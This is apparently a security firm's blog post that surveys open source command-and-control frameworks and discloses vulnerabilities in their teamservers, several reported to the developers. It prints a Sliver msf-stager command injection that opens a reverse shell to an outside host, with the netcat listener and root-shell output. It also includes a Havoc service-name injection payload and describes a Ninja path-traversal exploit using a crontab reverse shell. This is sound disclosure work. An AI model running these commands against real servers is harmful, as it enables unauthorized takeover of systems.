Application and source code security assessments are the primary focus of our work at Include Security, but sometimes network pentesting that uses software written by other hackers is needed. I decided to investigate Command & Control (C2) frameworks used in network and red teaming assessments. Initially, I didn’t know much about C2 frameworks, so I started digging into open source code to understand how they work. This post covers some fun vulnerabilities found on the way.
The post begins with an illustrated introduction of what C2 frameworks are, followed by a survey of the current state of open source options. Next the post gives a brief C2 framework threat model, before sharing details of a mix of authenticated and unauthenticated remote code execution (RCE) vulnerabilities.
Open source C2 frameworks have been getting a lot of attention in the past few years. The closed source Cobalt Strike has been the undisputed king of C2, but open source alternatives are seeing more usage among red teamers, threat actors, and hobbyists. Open source alternatives don’t have sky-high licensing costs, and have the potential to fly under the radar in a world where Cobalt Strike’s default behaviors are heavily profiled and fingerprinted.
A quick recap: a C2 framework is infrastructure used for controlling and maintaining access to hacked computers. C2 frameworks simplify the process for their “operators” (red teamers/pentesters/hackers) who are attacking a targeted network or organization. A term that is often associated with C2 frameworks is “post-exploitation”: C2 frameworks are designed to assist attackers who have already gained some level of control over a target’s computer, whether through phishing, web vulnerabilities, or supply chain attacks. The post-exploitation phase quickly becomes messy without a central management platform, especially for teams of operators collaborating together. C2 frameworks aim to solve that problem by packaging together three components: agent, teamserver, and client.
A C2 framework consists of the following three components:
That description is the bare minimum that a C2 framework should do. Normally, an agent has features to avoid detection by antivirus and endpoint detection and response (EDR) products, together with modules to enumerate information about the compromised system and attack further systems. Likewise, a teamserver normally provides a suite of functionalities, including generating agent binaries for a range of target architectures and operating systems; managing files exfiltrated from targeted systems; implementing a range of transport protocols for agent-teamserver traffic to bypass firewall rules; and encrypting and authenticating the agent-teamserver traffic.
Additional terminology that is shared among C2 frameworks:
The following diagram shows typical usage of a C2 framework:
Open source C2 frameworks are confusing because there’s just so many of them, each with a different feature-set, different UI, and different terminology. They are written in different programming languages but modern frameworks tend to fall into two camps: those written in Golang, and those written in C#. Golang and C# are both solid languages for all three components of the C2 stack, meaning the agent, teamserver, and client can be written in the same language. Python is also a popular choice for C2 teamserver and clients, while older C2 frameworks made heavy use of PowerShell for agents, from the era when it was easier to run malicious PowerShell code on Windows undetected.
Most C2 frameworks are passion projects started by individuals or small teams of contributors, and many once-popular frameworks are no longer under active development. There are resources that aim to make it easier to choose the right C2 framework such as the C2Matrix questionnaire, but several suggested frameworks were abandoned a long time ago. The most useful recent ranking I found was an elimination tournament bracket created by the Atomics on a Friday podcast in April 2024. The voting saw Mythic, Sliver, and Havoc take the podium as the top community picks.
One interesting limitation of traditional C2 frameworks is that a framework bundles the agent, teamserver, and client together and each component is usually difficult to swap out. I found that some frameworks had fairly advanced agents, but had primitive control and collaboration code. Meanwhile, other C2 frameworks have a great UI, with operator role management, attack graphs, reactive frontend, but unsophisticated and unstealthy agents. This tight coupling of components is being addressed by modern modular frameworks which we’ll talk more about later.
Operators use C2 frameworks to streamline management of complicated campaigns. C2 frameworks provide a way for multiple operators to co-ordinate when performing post-exploitation of targets. However, design flaws and bugs in the C2 frameworks can lead to security risks against the campaigns and the red team operators themselves.
Here are some of the possible threats against C2 frameworks:
Component | Threat | Example |
---|---|---|
Agent->Teamserver | An agent sends untrusted input to the teamserver, which results in unintended behavior such as arbitrary file write on the teamserver host | CVE-2024-6127 |
Agent->Operator | An agent sends untrusted input to the teamserver, which when viewed by an operator in the teamserver UI, leads to cross-site scripting or remote code execution | CVE-2022-39197 |
Operator->Teamserver | A low-privileged operator account (insider account, compromised credentials, or via another vulnerability) is able to gain remote code execution on the teamserver host | CVE-2024-41111 |
Third Party->Agent | Lack of cryptographic authenticity from the agent enables a third party network attacker to take the role of the teamserver and hijack a red team campaign | CVE-2023-34758 |
Third Party->Teamserver | A bug or lack of rate-limiting makes it possible for an unauthenticated third party to deny service to the teamserver | HavocExploit |
Third Party->Teamserver | An authentication flaw enables third parties to authenticate to the teamserver as operators or service accounts |
With the background covered, let’s now look at individual C2 frameworks.
Sliver is a love letter to offensive Golang: the agent, teamserver, and client are all written in Go. Anyone who enjoys the Linux command line will feel at home with Sliver’s UI which is a CLI, although it’s also possible to write a custom client. The architecture and code are high quality, with GRPC over mTLS for client-server communications and the option to use mTLS, Wireguard, HTTPS or DNS as the transport protocol for agent-server traffic.
I found Sliver’s agents (“implants”) to be powerful and reliable while pivoting and escalating privileges on HackTheBox ProLabs Active Directory networks. Sliver offers several methods to execute third party tools, and the real magic of Sliver is the armory feature which offers a huge number of extensions, plus it’s easy to add your own. The agents also support running beacon object files (BOFs), a position independent code format developed by Cobalt Strike, so Sliver gains access to the open source library of BOFs. For learning there’s an excellent series of blog posts by Dominic Breuker.
While reviewing the stager code for the latest prerelease version of Sliver (1.6.0) I found a way for any Sliver operator (i.e. authenticated user) to get a root shell on the teamserver. This breaks Sliver’s threat model where “there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server.” Sliver has a multiplayer mode and is adding role-based access control to assign fine-grained privileges to operators. A red team operation usually consists of a number of individuals, and the compromise of one low-privileged team member should not lead to total administrative control over the server.
It’s also just a really fun vulnerability since we get the teamserver to pwn itself with Metasploit. We essentially execute a Metasploit stager payload on the server rather than sending it to the operator client to deploy on a target system. I reported this vulnerability to the Sliver team and it was fixed as CVE-2024-41111 before it was released in a stable build.
Sliver has support for Metasploit stagers. Under the hood, the Metasploit stager calls msfvenom
using Go’s exec.Command()
. User options are validated before being interpolated into the command string. Last year a feature was added to provide advanced options to the stager. The intention behind the change was to control options such as EXITFUNC=thread
, however the change allows additional command line arguments to be specified to msfvenom
. One argument of msfvenom
is --out
, which writes the payload to a file rather than to standard output. This enables us to write the msfvenom
payload to an arbitrary file on the teamserver.
We overwrite one of Sliver’s own bundled binaries at /root/.sliver/go/bin/garble
:
sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/garble [*] Sliver implant stager saved to: [...]
Setup a netcat shell on the attacking system 192.168.0.128 on port 8888. Then trigger the exploit by running an agent compilation command which indirectly executes /root/.sliver/go/bin/garble
:
sliver > generate beacon --mtls 1.2.3.4 [*] Generating new windows/amd64 beacon implant binary (1m0s) [*] Symbol obfuscation is enabled та╝ Compiling, please wait ...
A root shell will pop:
$ nc -lvp 8888 Listening on 0.0.0.0 8888 Connection received on 192.168.0.183 39238 whoami root
The Sliver team remediated the vulnerability by removing the generate msf-stager
command, and the documentation now instructs operators to generate their own Metasploit stagers locally rather than on the teamserver. The Sliver team were a pleasure to talk to, and sent a bottle of whiskey as part of their beverage-based bug bounty incentives.
Havoc‘s teamserver is also written in Go, but the client is C++ and has a Qt GUI, and the agent is written in C and ASM. The main advantage of Havoc over Sliver is the cool GUI, which resembles Cobalt Strike with the visualization of active sessions on hacked machines. I found Havoc’s code to be less mature than Sliver’s, with sketchy stuff in a few places, although it is improving as the devs refactor the original codebase. The default Havoc agent (“demon”) has the ability to execute shellcode in remote processes using process injection, and execute BOF files via .NET inline assembly. Compared to Sliver there’s a smaller extension library with a little more overhead required to write an extension. Considering that Havoc was started as a hobby project by a teenage developer, it’s extremely impressive and has probably the best UI of any C2 framework.
Havoc has an authenticated RCE vulnerability in the teamserver that is similar to the one in Sliver. Further, the default Havoc configuration creates two users with the password “password1234”, so anyone careless enough to run Havoc with default settings on an untrusted network can immediately be exploited by this RCE vulnerability.
An exec.Command()
call is used to compile custom agents on behalf of users, and every client parameter is sanitized except one: the “Service Name” field. Because sh -c
is the program run, the compilation command can be cancelled and an arbitrary command can be run instead. The results can even be viewed in the Havoc UI although the whole attack can also be automated by speaking the teamserver’s WebSockets protocol.
An injection payload into the service name field looks something like \" -mbla; CMD 1>&2 && false #
:
\"
to exit out the quotes-mbla
to cause the MinGW compilation to fail and not have to wait for itCMD 1>&2
with the chosen payload redirected to stderr&& false
to cause the command to fail and the server to send back the stderr output#
to comment out the parameters after our injectionSome time before this, I also found an authentication bypass in Havoc’s Service API feature. The authentication logic loops through usernames and passwords, but if none matched, then the function didn’t return false. This meant that a malicious service could connect to a teamserver, provide the wrong password, and just continue sending messages to the teamserver that the teamserver would treat as authorized.
The Service API code is separate from the user agent generation code, otherwise put together there could have been a full unauthenticated chain to root against the Havoc teamserver with these two vulnerabilities.
In response to the disclosure, the Havoc developer gave credit in Havoc’s release notes, added me to a private members/contributors channel, and invited me to find more bugs. The service API authentication bypass is fixed but the authenticated RCE is still present in the master branch of Havoc as all development effort is now focused on the rewrite branch.
I’d found authenticated RCEs in two popular open source C2 frameworks, but didn’t find a way to upgrade these into fully unauthenticated RCEs. For that I needed to look into lesser-known frameworks.
Ninja C2 is based on the leaked MuddyC3 code used by an Iranian APT group. The teamserver is written in Python and the agents use PowerShell. Its design goal is stealth, with a number of behaviors changing each time a new campaign is launched. For example, the teamserver generates obfuscated webserver callback URLs that change with each campaign. Many of the features of Sliver and Havoc are present albeit in a more basic form. The associated blog posts claims that when newly-released, Ninja was able to bypass major AV and SIEM products, showing that an unfamiliar attack signature is everything when it comes to stealth.
The Ninja webserver is vulnerable to unauthenticated arbitrary file download via path traversal. This leads to immediate RCE against the teamserver when it’s running as root, or RCE upon the next restart of the teamserver.
The preconditions of the vulnerability are the same as the Skywalker exploit against the Empire framework from 2016, a classic C2 framework vulnerability that has its own Metasploit module. The Skywalker exploit occurs when:
Note that none of three preconditions are true for Sliver. In Sliver, downloads only occur when an operator requests them; the agent has no control over the filepath; and the filename is set by the client using the basename rather than the full path of the file.
In Ninja’s case, an agent also doesn’t require any special secret to register with the Ninja teamserver. A malicious fake agent can call the register endpoint, then upload a malicious file to an arbitrary filepath on the teamserver. The only speedbump is that URL endpoints are randomly picked from a list for each campaign, but the endpoint list is short enough to be brute-forced. The exploit script implements this with a reverse shell callback in a crontab.
I reached out several times to the Ninja developer but did not receive a response.
SHAD0W is a C2 framework with a Python backend and agents written in C. It was popular three years ago, but has not seen any further development since. The UI is a cool hacker CLI similar to Sliver. SHAD0W’s main feature is its modularity, with a clean codebase and straightforward protocol for adding new commands and modules. The other focus is stealth, with an agent that implements anti-DLL injection, dynamically resolved syscalls, and thread hijacking for process injection. I think it’s a shame that SHAD0W’s development stopped as I found it easier to jump in and understand the code for this framework compared to most others.
SHAD0W is vulnerable to unauthenticated RCE where untrusted input provided by agents is injected into commands run on the teamserver. When a new agent (“beacon” in SHAD0W terminology) checks in to the teamserver, the beacon reports the architecture, operating system, domain and other information about the compromised system.
In SHAD0W, beacon modules are compiled on-demand on the teamserver for the target system. Several modules in SHAD0W use the arbitrary beacon-provided values as parameters when compiling shellcode. For instance, the migrate
module which implements process migration, passes the architecture value to buildtools.make_in_clone()
. The value is eventually interpolated into an os.system()
function call for the make
command.
The beacon-provided values are displayed to the C2 operator when the beacon first connects to the teamserver, so some level of obfuscation is required here to disguise the payload and spark the operator’s curiosity to interact with the beacon. When the operator interacts with the beacon and uses the migrate
module, the attacker’s command executes on the teamserver.
I reached out several times to the SHAD0W developer but did not receive a response.
Covenant is another framework that was popular 3-4 years ago, and was the one chosen for the first iteration of Zero Point Security’s Red Team Ops course. The server is written in C# and the client is a C# Blazor webapp. Since then, the framework has seen little development. The framework has a number of neat features including a clean web UI, cryptographic forward secrecy for agent-server communication, and listener profiles for dynamically modifying the way that agent-server communication appears on the wire.
Both the current master and dev branches of Covenant are vulnerable to an escalation of privilege from User to Administrator. The API blocks editing roles unless you are an Administrator, however in the UI itself it’s possible for a User to give themself the Administrator role.
The user now has access to the most powerful feature of Covenant, the ability to create HTTP listener profiles, which is restricted to Administrators. Although there is no built-in way to get a shell on a Covenant server, the HTTP profiles feature essentially enables running C# code on the server as a way of customizing traffic sent to and from agents.
The C# code is limited by the fact that the Covenant compiler restricts the System
namespace to System.Private.CoreLib.dll
which means Process
can’t be directly used. However previous cool research on Covenant by 0xcoastal found a blog post by Tim Malcolmvetter that showed that only the Activator
and Assembly
classes are required to perform process injection of arbitrary .NET assemblies. That research left writing the exploit proof of concept as an exercise for the reader, so I implemented an attack script, completing the escalation from low privileged user to shell on the Covenant teamserver.
The Covenant developer acknowledged the escalation of privilege vulnerability and that it would be fixed next time he worked on Covenant. He asked for the following addendum to be included: “Network access to a Covenant listener is not sufficient for this vulnerability. This vulnerability requires logical access to Covenant’s management port, which should never be publicly exposed. This is an authenticated privilege escalation that requires access to a valid, existing user account. RCE on the Covenant server through the management interface as an Administative user via custom profiles is known and is intended functionality. Even though Covenant is not currently in active development, Covenant is still in beta (pre v1.0). Covenant is developed as a hobby and has never been professionally evaluated for security risks.”
One popular C2 framework that is absent so far is Mythic. Mythic is designed differently to most C2s in that it is a modular platform that must be customized as it doesn’t come with a built-in agent. Each part of the Mythic system has its own Docker container, and starting Mythic involves launching eight Docker containers by default (one for the webserver, one for the database, one for the GraphQL API etc), and then you add more containers for the particular agents and transports you want to use.
This has freed up Mythic to focus more on the architecture and the collaboration experience on the teamserver rather than building stealthy agents. The web UI does look a little dated on the surface, but once you start interacting with the server, it’s clear that Mythic has tons of teamserver functionality and quality-of-life features, more than any other C2 framework I looked at. The platform has full user and service account role management and enables launching campaigns involving different operators with several permission levels. Mythic is also advanced in terms of tracking everything that happens during a campaign, and the data is easily searchable in order to accelerate reporting.
From the quick code review I did, I didn’t spot any glaring flaws in Mythic’s API authentication and logic, nor any opportunities for RCE on the Mythic server. But Mythic was overkill for the HackTheBox labs I was doing so I didn’t dive deep into it. It looks great for larger operations and is currently more actively developed than any other open source C2 framework. I wonder if this is the future of open source C2 frameworks – a modular collaboration platform which you can easily plug your own agent into, or even develop your own API frontend for, rather than a tight coupling of agent, client, and teamserver components.
Overall, in the course of this exploration I learned a few things. C2 frameworks are designed to help you run commands on other people’s computers, but ironically many C2 frameworks are vulnerable to having unauthorized commands run on them. In some cases, simply launching these frameworks with the default options on a public network (such as the HackTheBox VPN) leaves you open to RCE. I see this as important to highlight, as many users are hobbyists experimenting and playing CTFs with their buddies, and won’t be doing an advanced operational deployment of the teamservers.
The origin of the vulnerabilities is the complexity and number of roles that a teamserver is required to fulfill in C2 frameworks. The teamserver compiles exploits on behalf of operators, displays data from external untrusted IPs in the UI, and downloads files from hacked systems. Preventing these features from being exploited requires strictly validating any external input and minimizing the number of calls to system()
functions. The C2 frameworks tested generally performed this validation, but made one oversight somewhere which meant the attacker input flowed into powerful sink functions. Frameworks have the best chance at avoiding such vulnerabilities by strongly enforcing data boundaries between agent, teamserver, and client. For example, see the comparison of Ninja vs Sliver’s approach to the Skywalker vulnerability preconditions (under the Ninja section above).
I was surprised at how many cool open source C2 frameworks are no longer maintained. Besides the usual constraints on open source developers’ time and interest, I wonder if there’s a cycle where new frameworks are hyped for being able to bypass Defender when they’re first released, but soon get signatures made for them. The state of the art moves forward quickly and the developer gets fed up with the amount of low effort issues that get sent their way. However, I expect there are plenty of active private forks out there of publicly dead frameworks.
This is another reason why the “bring your own agent” model makes sense for open source C2 frameworks, as discussed in the Atomics on a Friday podcast. Cobalt Strike’s default transport and beacon behaviors are so heavily fingerprinted that they require substantial patching and customization to work in reasonably defended environments. As soon as open source C2 frameworks are released, their agents and transport protocols start to suffer the same fate. The client-facing part of the teamserver and the client itself are the components of the system that are least exposed. Making these unexposed components reliable/secure/feature-rich with the expectation that the operators develop their own closed source evasive agents and transports is a practical design decision.
Proof of concept vulnerabilities are released here.
Artwork by Caleb Nelson